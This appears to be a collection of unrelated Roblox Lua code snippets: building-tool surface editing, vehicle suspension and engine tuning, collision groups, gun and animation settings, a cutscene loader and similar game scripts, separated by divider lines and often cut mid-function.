ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if SurfaceTool.UI then
-- Reveal the UI
SurfaceTool.UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
SurfaceTool.UI = Core.Tool.Interfaces.BTSurfaceToolGUI:Clone();
SurfaceTool.UI.Parent = Core.UI;
SurfaceTool.UI.Visible = true;
-- Create the surface selection dropdown
SurfaceDropdown = Core.Cheer(SurfaceTool.UI.SideOption.Dropdown).Start({ 'All', 'Top', 'Bottom', 'Front', 'Back', 'Left', 'Right' }, 'All', SetSurface);
-- Map type label names to actual type names
local SurfaceTypes = {
['Studs'] = 'Studs',
['Inlets'] = 'Inlet',
['Smooth'] = 'Smooth',
['Weld'] = 'Weld',
['Glue'] = 'Glue',
['Universal'] = 'Universal',
['Hinge'] = 'Hinge',
['Motor'] = 'Motor',
['No Outline'] = 'SmoothNoOutlines'
};
-- Create the surface type selection dropdown
SurfaceTypeDropdown = Core.Cheer(SurfaceTool.UI.TypeOption.Dropdown).Start({ 'Studs', 'Inlets', 'Smooth', 'Weld', 'Glue', 'Universal', 'Hinge', 'Motor', 'No Outline' }, '', function (Option)
SetSurfaceType(Enum.SurfaceType[SurfaceTypes[Option]]);
end);
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not SurfaceTool.UI then
return;
end;
-- Hide the UI
SurfaceTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function GetSurfaceTypeDisplayName(SurfaceType)
-- Returns a more friendly name for the given `SurfaceType`
-- For stepping motors, add a space
if SurfaceType == Enum.SurfaceType.SteppingMotor then
return 'Stepping Motor';
-- For no outlines, simplify name
elseif SurfaceType == Enum.SurfaceType.SmoothNoOutlines then
return 'No Outline';
-- For other surface types, return their normal name
else
return SurfaceType.Name;
end;
end;
function UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not SurfaceTool.UI then
return;
end;
-- Only show and identify current surface type if selection is not empty
if #Selection.Parts == 0 then
SurfaceTypeDropdown.SetOption('');
return;
end;
------------------------------------
-- Update the surface type indicator
------------------------------------
-- Collect all different surface types in selection
local SurfaceTypeVariations = {};
for _, Part in pairs(Selection.Parts) do
-- Search for variations on all surfaces if all surfaces are selected
if SurfaceTool.Surface == 'All' then
table.insert(SurfaceTypeVariations, Part.TopSurface);
table.insert(SurfaceTypeVariations, Part.BottomSurface);
table.insert(SurfaceTypeVariations, Part.FrontSurface);
table.insert(SurfaceTypeVariations, Part.BackSurface);
table.insert(SurfaceTypeVariations, Part.LeftSurface);
table.insert(SurfaceTypeVariations, Part.RightSurface);
-- Search for variations on single selected surface
else
table.insert(SurfaceTypeVariations, Part[SurfaceTool.Surface .. 'Surface']);
end;
end;
-- Identify common surface type in selection
local CommonSurfaceType = Support.IdentifyCommonItem(SurfaceTypeVariations);
-- Update the current surface type in the surface type dropdown
SurfaceTypeDropdown.SetOption(CommonSurfaceType and GetSurfaceTypeDisplayName(CommonSurfaceType) or '*');
end;
function SetSurface(SurfaceName)
-- Changes the surface option to `Surface`
-- Set the surface option
SurfaceTool.Surface = SurfaceName;
-- Update the current surface in the surface dropdown
SurfaceDropdown.SetOption(SurfaceName);
end;
function SetSurfaceType(SurfaceType)
-- Changes the selection's surface type on the currently selected surface
-- Make sure a surface has been selected
if not SurfaceTool.Surface then
return;
end;
-- Track changes
TrackChange();
-- Change the surface of the parts locally
for _, Part in pairs(Selection.Parts) do
-- Change all surfaces if all selected
if SurfaceTool.Surface == 'All' then
Part.TopSurface = SurfaceType;
Part.BottomSurface = SurfaceType;
Part.FrontSurface = SurfaceType;
Part.BackSurface = SurfaceType;
Part.LeftSurface = SurfaceType;
Part.RightSurface = SurfaceType;
-- Change specific selected surface
else
Part[SurfaceTool.Surface .. 'Surface'] = SurfaceType;
end;
end;
-- Register changes
RegisterChange();
end;
function EnableSurfaceSelection()
-- Allows the player to select surfaces by clicking on them
-- Watch out for clicks on selected parts
Connections.SurfaceSelection = Core.Mouse.Button1Down:Connect(function ()
local _, ScopeTarget = Core.Targeting:UpdateTarget()
if Selection.IsSelected(ScopeTarget) then
-- Set the surface option to the target surface
SetSurface(Core.Mouse.TargetSurface.Name);
end;
end);
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Parts = Support.CloneTable(Selection.Parts);
BeforeSurfaces = {};
AfterSurfaces = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, { Part = Part, Surfaces = Record.BeforeSurfaces[Part] });
end;
-- Send the change request
Core.SyncAPI:Invoke('SyncSurface', Changes);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, { Part = Part, Surfaces = Record.AfterSurfaces[Part] });
end;
-- Send the change request
Core.SyncAPI:Invoke('SyncSurface', Changes);
end;
};
-- Collect the selection's initial state
for _, Part in pairs(HistoryRecord.Parts) do
-- Begin to record surfaces
HistoryRecord.BeforeSurfaces[Part] = {};
local Surfaces = HistoryRecord.BeforeSurfaces[Part];
-- Record all surfaces if all selected
if SurfaceTool.Surface == 'All' then
Surfaces.Top = Part.TopSurface;
Surfaces.Bottom = Part.BottomSurface;
Surfaces.Front = Part.FrontSurface;
Surfaces.Back = Part.BackSurface;
Surfaces.Left = Part.LeftSurface;
Surfaces.Right = Part.RightSurface;
-- Record specific selected surface
else
Surfaces[SurfaceTool.Surface] = Part[SurfaceTool.Surface .. 'Surface'];
end;
end;
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Collect the selection's final state
local Changes = {};
for _, Part in pairs(HistoryRecord.Parts) do
-- Begin to record surfaces
HistoryRecord.AfterSurfaces[Part] = {};
local Surfaces = HistoryRecord.AfterSurfaces[Part];
-- Record all surfaces if all selected
if SurfaceTool.Surface == 'All' then
Surfaces.Top = Part.TopSurface;
Surfaces.Bottom = Part.BottomSurface;
Surfaces.Front = Part.FrontSurface;
Surfaces.Back = Part.BackSurface;
Surfaces.Left = Part.LeftSurface;
Surfaces.Right = Part.RightSurface;
-- Record specific selected surface
else
Surfaces[SurfaceTool.Surface] = Part[SurfaceTool.Surface .. 'Surface'];
end;
-- Create the change request for this part
table.insert(Changes, { Part = Part, Surfaces = Surfaces });
end;
-- Send the changes to the server
Core.SyncAPI:Invoke('SyncSurface', Changes);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 150 -- Spring Dampening
Tune.FSusStiffness = 1000 -- Spring Force
Tune.FSusLength = 8 -- Suspension length (in studs)
Tune.FSusMaxExt = 1.5 -- Max Extension Travel (in studs)
Tune.FSusMaxComp = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 60 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 10 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 150 -- Spring Dampening
Tune.RSusStiffness = 1000 -- Spring Force
Tune.RSusLength = 8 -- Suspension length (in studs)
Tune.RSusMaxExt = 1.5 -- Max Extension Travel (in studs)
Tune.RSusMaxComp = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 60 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 10 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = true -- Wishbone Visible
Tune.SusRadius = .3 -- Suspension Coil Radius
Tune.SusThickness = .2 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 8 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .2 -- Wishbone Rod Thickness
|
--[[
PhysicsService:GetCollisionGroupName(playerCollisionGroupName)
PhysicsService:CollisionGroupSetCollidable(playerCollisionGroupName, playerCollisionGroupName, false)
]]
|
local previousCollisionGroups = {}
local function setCollisionGroup(object)
if object:IsA("BasePart") or object:IsA("UnionOperation") then
previousCollisionGroups[object] = object.CollisionGroup
object.CollisionGroup = playerCollisionGroupName
--PhysicsService:SetPartCollisionGroup(object, playerCollisionGroupName)
end
end
local function setCollisionGroupRecursive(object)
setCollisionGroup(object)
for _, child in ipairs(object:GetChildren()) do
setCollisionGroupRecursive(child)
end
end
local function resetCollisionGroup(object)
local previousCollisionGroup = previousCollisionGroups[object]
if not previousCollisionGroup then return end
--local previousCollisionGroupName = PhysicsService:GetCollisionGroupName(previousCollisionGroupId)
--if not previousCollisionGroupName then return end
object.CollisionGroup = previousCollisionGroup
--PhysicsService:SetPartCollisionGroup(object, previousCollisionGroupName)
previousCollisionGroups[object] = nil
end
local function onCharacterAdded(character)
setCollisionGroupRecursive(character)
character.DescendantAdded:Connect(setCollisionGroup)
character.DescendantRemoving:Connect(resetCollisionGroup)
end
local function onPlayerAdded(player)
player.CharacterAdded:Connect(onCharacterAdded)
end
Players.PlayerAdded:Connect(onPlayerAdded)
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l21.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(1)
|
--local l__Forward__37 = v34.Forward;
--v2.hum:LoadAnimation(l__Animations__27:WaitForChild("IdleAnimation")):Play(0.2, 1, 0.75);
--l__Forward__37:Play(0.2, 0.01, 0.75);
|
local u1 = 0;
local u2 = 15;
local u3 = false;
local l__Parent__1 = script.Parent.Parent.Parent;
local l__UserInputService__5 = game:GetService("UserInputService");
local l__TweenService__2 = game:GetService("TweenService");
|
--[[ TOP BAR DISABLER ]]
|
--
StarterGui:SetCore("TopbarEnabled",false)
StarterGui:SetCoreGuiEnabled("All",false)
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 12000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .15 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 12000 -- Spring Force
Tune.FAntiRoll = 30 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .09 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 170 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 7000 -- Use sliders to manipulate values
Tune.Redline = 7700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--Filtering
|
Postie.SetCallback("getPlatform", getPlatform)
|
--- Invoke a command programmatically as the local user e.g. from a settings menu
-- Command should be the first argument, all arguments afterwards should be the arguments to the command.
|
function Dispatcher:Run (...)
if not Players.LocalPlayer then
error("Dispatcher:Run can only be called from the client.")
end
local args = {...}
local text = args[1]
for i = 2, #args do
text = text .. " " .. tostring(args[i])
end
local command, errorText = self:Evaluate(text, Players.LocalPlayer)
if not command then
error(errorText) -- We do a full-on error here since this is code-invoked and they should know better.
end
local success, errorText = command:Validate(true) -- luacheck: ignore
if not success then
error(errorText)
end
return command:Run()
end
|
-- fetch the ID list
|
local IDList = require(script.Parent:FindFirstChildWhichIsA("ModuleScript"))
|
--////////////////////////////// Include
--//////////////////////////////////////
|
local Chat = game:GetService("Chat")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local modulesFolder = script.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil"))
local MessageSender = require(modulesFolder:WaitForChild("MessageSender"))
local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
|
--[[
INSTRUCTIONS: Place both teleporter1a and teleporter1b in the same directory
(e.g. both in workspace directly, or both directly in the same group or model)
Otherwise it wont work. Once youve done that, jump on the teleporter to teleport to the other.
If you want more than one set of teleporters I will be adding more types in the future.
Send me requests and ideas - miked.
--]]
| |
-- Random number generator that will calculate drop chance and random drop position
|
local randomGenerator = Random.new()
|
-- Climb or Jump
|
if Hit and Hit ~= AItorso then
if (Hit.Name == "Truss" and target.Position.y > torsoPos.y - 3) or target.Parent == Hit.Parent then -- ignore parts called "Ladder", if AI is level or below CURRENT Targ pos.
Hit = nil
ClimbingLadder = true -- Climb and don't check floor
else
|
--- Skill
|
local UIS = game:GetService("UserInputService")
local plr = game.Players.LocalPlayer
local Mouse = plr:GetMouse()
local Debounce = true
Player = game.Players.LocalPlayer
Animation = Instance.new("Animation")
Animation.AnimationId = "rbxassetid://4934580993"
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.V and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = false
Tool.Active.Value = "BallSand"
wait(0.1)
Track1 = Player.Character.Humanoid:LoadAnimation(Animation)
Track1:Play()
wait(0.15)
script.Fire:FireServer(plr)
local hum = Player.Character.Humanoid
for i = 1,30 do
wait()
hum.CameraOffset = Vector3.new(
math.random(-1,1),
math.random(-1,1),
math.random(-1,1)
)
end
hum.CameraOffset = Vector3.new(0,0,0)
wait(0.15)
Tool.Active.Value = "None"
wait(2)
Debounce = true
end
end)
|
--[[
Creates an enum dictionary with some metamethods to prevent common mistakes.
]]
|
local function makeEnum(enumName, members)
local enum = {}
for _, memberName in ipairs(members) do
enum[memberName] = memberName
end
return setmetatable(enum, {
__index = function(_, k)
error(string.format("%s is not in %s!", k, enumName), 2)
end,
__newindex = function()
error(string.format("Creating new members in %s is not allowed!", enumName), 2)
end,
})
end
|
--//Server Animations
|
RightHighReady = CFrame.new(-1, -1, -1.5) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0));
LeftHighReady = CFrame.new(.85,-0.35,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15));
RightLowReady = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));
LeftLowReady = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));
RightPatrol = CFrame.new(-1, -.35, -1.5) * CFrame.Angles(math.rad(-80), math.rad(-80), math.rad(0));
LeftPatrol = CFrame.new(1,1.25,-.75) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25));
RightAim = CFrame.new(-.575, 0.1, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));
LeftAim = CFrame.new(1.4,0.25,-1.45) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25));
RightSprint = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));
LeftSprint = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));
ShootPos = CFrame.new(0,0,.25);
}
return module
|
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(-0,-0,-1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0.05,0.13,-0.2) -- Change these to change the positiones of your hat, as I said earlier.
wait(5) debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- This finds the tank that we are controlling
|
parts = script.Parent.Parent.Parent.Turret.Value;
tankStats = parts.Stats;
|
-- Update clock once per second
|
while true do
updateClock()
wait(1)
end
|
-- Create component
|
local ScopeHUD = Roact.PureComponent:extend 'ScopeHUD'
|
-- preload our two static images here
|
Game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id=58247550")
Game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id=58247679")
function waitForChild(parent, child)
while not parent:FindFirstChild(child) do parent.ChildAdded:wait() end
end
local screen = script.Parent
local staticDecal = Instance.new("Decal")
staticDecal.Name = "Static"
staticDecal.Texture = "http://www.roblox.com/asset/?id=58247550"
staticDecal.Face = "Left"
waitForChild(screen, "ClickDetector")
local clickDetector = screen.ClickDetector
function flicker(timeToFlicker)
local startTime = tick()
while tick() - startTime < timeToFlicker do
staticDecal.Texture = "http://www.roblox.com/asset/?id=58247679"
wait(flickerSpeed)
staticDecal.Texture = "http://www.roblox.com/asset/?id=58247550"
wait(flickerSpeed)
end
end
local debounce = false
function tvOn()
if debounce then return end
debounce = true
-- should take care of one little data persistance caveat...
static = screen:FindFirstChild("Static")
if static then static:Remove() end
staticDecal.Parent = screen
flicker(3)
staticDecal.Parent = nil
debounce = false
end
clickDetector.MouseClick:connect(tvOn)
|
--------SETTINGS--------
|
local ITEM_NAME = "Crossbow"
local ITEM_PRICE = 10
local CURRENCY_NAME = "Cash"
|
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableHolster = false
,HolsterTo = 'Torso' -- Put the name of the body part you wanna holster to
,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
,RightArmPos = CFrame.new(-0.85, 0.2, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server
,LeftArmPos = CFrame.new(1.05,0.9,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20)) --server
,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))
,RightPos = CFrame.new(-.65, -0.2, -.85) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client
,LeftPos = CFrame.new(1.1, 0.05, -1.5) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-20)) --Client
}
return Config
|
-- привязываем действие к нажатию
|
local button = script.Parent
local open=script.Parent.Parent.open
local function onButtonActivated()
open.Value = "none"
end
button.Activated:Connect(onButtonActivated)
|
--------------------[ SPRINTING FUNCTIONS ]-------------------------------------------
|
function canRun(midRun)
return ((Forward and (not Backward)) and
Walking and (Stamina > 0) and Running and
Selected and (midRun and true or onGround) and
runReady and (S.canFireWhileRunning and true or (not Firing))
)
end
function monitorStamina()
Running = true
if (not canRun(false)) then
Running = false
return
end
if Aimed then unAimGun(true) end
if Stance == 1 or Stance == 2 then Stand() end
if (not (Reloading and S.reloadSettings.Anim)) then
if S.canFireWhileRunning then
tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, 0.4)
tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, 0.4)
tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.4)
else
tweenJoint(LWeld, armC0[1], S.runningC1.leftArm, Sine, 0.4)
tweenJoint(RWeld, armC0[2], S.runningC1.rightArm, Sine, 0.4)
tweenJoint(Grip, nil, S.runningC1.Grip, Sine, 0.4)
end
end
crossOffset = 50
while runKeyPressed do
if canRun(true) then
if onGround then
local newStamina = Stamina - 1
Stamina = (newStamina < 0 and 0 or newStamina)
end
else
break
end
RS.RenderStepped:wait()
end
Running = false
if (not Aimed) and (not (Reloading and S.reloadSettings.Anim)) and (not S.canFireWhileRunning) then
crossOffset = 0
tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, 0.4)
tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, 0.4)
tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.4)
end
rechargeStamina()
end
function rechargeStamina()
chargingStamina = true
while ((not runKeyPressed) or (Stamina < maxStamina)) and (not Running) do
if Stamina < maxStamina then
local newStamina = Stamina + (S.sprintTime / S.staminaCoolTime)
Stamina = (newStamina > maxStamina and maxStamina or newStamina)
elseif Stamina >= maxStamina then
break
end
RS.RenderStepped:wait()
end
chargingStamina = false
end
|
--[[
A helper function to define a Rodux action creator with an associated name.
]]
|
local function makeActionCreator(name, fn)
assert(type(name) == "string", "Bad argument #1: Expected a string name for the action creator")
assert(type(fn) == "function", "Bad argument #2: Expected a function that creates action objects")
return setmetatable({
name = name,
}, {
__call = function(self, ...)
local result = fn(...)
assert(type(result) == "table", "Invalid action: An action creator must return a table")
result.type = name
return result
end
})
end
return makeActionCreator
|
--//trunk
|
local tk = Instance.new("Motor", script.Parent.Parent.Misc.TK.SS)
tk.MaxVelocity = 0.02
tk.Part0 = script.Parent.TK
tk.Part1 = tk.Parent
fl.MaxVelocity = 0.03
fl.Part0 = script.Parent.FL
fl.Part1 = fl.Parent
fr.MaxVelocity = 0.03
fr.Part0 = script.Parent.FR
fr.Part1 = fr.Parent
rl.MaxVelocity = 0.03
rl.Part0 = script.Parent.RL
rl.Part1 = rl.Parent
rr.MaxVelocity = 0.03
rr.Part0 = script.Parent.RR
rr.Part1 = rr.Parent
wl.MaxVelocity = 0.007
wl.Part0 = script.Parent.Parent.Misc.FL.Door.WD
wl.Part1 = wl.Parent
wr.MaxVelocity = 0.007
wr.Part0 = script.Parent.Parent.Misc.FR.Door.WD
wr.Part1 = wr.Parent
wl2.MaxVelocity = 0.007
wl2.Part0 = script.Parent.Parent.Misc.RL.Door.WD
wl2.Part1 = wl2.Parent
wr2.MaxVelocity = 0.007
wr2.Part0 = script.Parent.Parent.Misc.RR.Door.WD
wr2.Part1 = wr2.Parent
|
--[[ Services ]]
|
--
local PlayersService = game:GetService('Players')
local VRService = game:GetService("VRService")
local Util = require(script.Parent:WaitForChild("CameraUtils"))
local newDefaultCameraAngleFlagExists, newDefaultCameraAngleFlagEnabled = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserNewDefaultCameraAngle")
end)
local FFlagUserNewDefaultCameraAngle = newDefaultCameraAngleFlagExists and newDefaultCameraAngleFlagEnabled
|
-- ====================
-- BASIC
-- A basic settings for the gun
-- ====================
|
Auto = false;
MuzzleOffset = Vector3.new(0, 0.625, 1.25);
BaseDamage = 15;
FireRate = 0.05; --In second
ReloadTime = 2; --In second
AmmoPerClip = 12; --Put "math.huge" to make this gun has infinite ammo and never reload
Spread = 1.25; --In degree
HeadshotEnabled = true; --Enable the gun to do extra damage on headshot
HeadshotDamageMultiplier = 3;
MouseIconID = "316279304";
HitSoundIDs = {186809061,186809249,186809250,186809252};
IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate
IdleAnimationSpeed = 1;
FireAnimationID = 94332152; --Set to "nil" if you don't want to animate
FireAnimationSpeed = 6;
ReloadAnimationID = nil; --Set to "nil" if you don't want to animate
ReloadAnimationSpeed = 1;
|
-- Loading
|
local CutsceneFolder = workspace.Cutscenes:WaitForChild("level1") -- The folder that contains the cutscene data (Cameras...)
local Destroy = false -- Destroy folder after loading? you don't want your player to see your cameras floating around!
local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded
local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.
local Cutscene = require(CutsceneModule)
local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene
Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder
local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch")
local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin")
local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded")
local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied")
local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire")
local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire")
local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying")
local CharacterProtector = script:FindFirstChild("CharacterProtector")
local Music = script:FindFirstChild("Music")
local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished")
local StopOnEventFire = script:FindFirstChild("StopOnEventFire")
local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire")
local PlayOnce = script:FindFirstChild("PlayOnce")
local Debounce = script:FindFirstChild("Cooldown")
local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove")
local bin = true
local Player = game:GetService("Players").LocalPlayer
local CutsceneGui = script:FindFirstChild("Cutscene")
|
-- PROPERTIES
|
IconController.topbarEnabled = true
IconController.controllerModeEnabled = false
IconController.previousTopbarEnabled = checkTopbarEnabled()
IconController.leftGap = 12
IconController.midGap = 12
IconController.rightGap = 12
IconController.leftOffset = 0
IconController.rightOffset = 0
IconController.voiceChatEnabled = false
IconController.mimicCoreGui = true
IconController.healthbarDisabled = false
IconController.activeButtonBCallbacks = 0
IconController.disableButtonB = false
|
--[[Transmission]]
|
Tune.TransModes = {"Auto"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
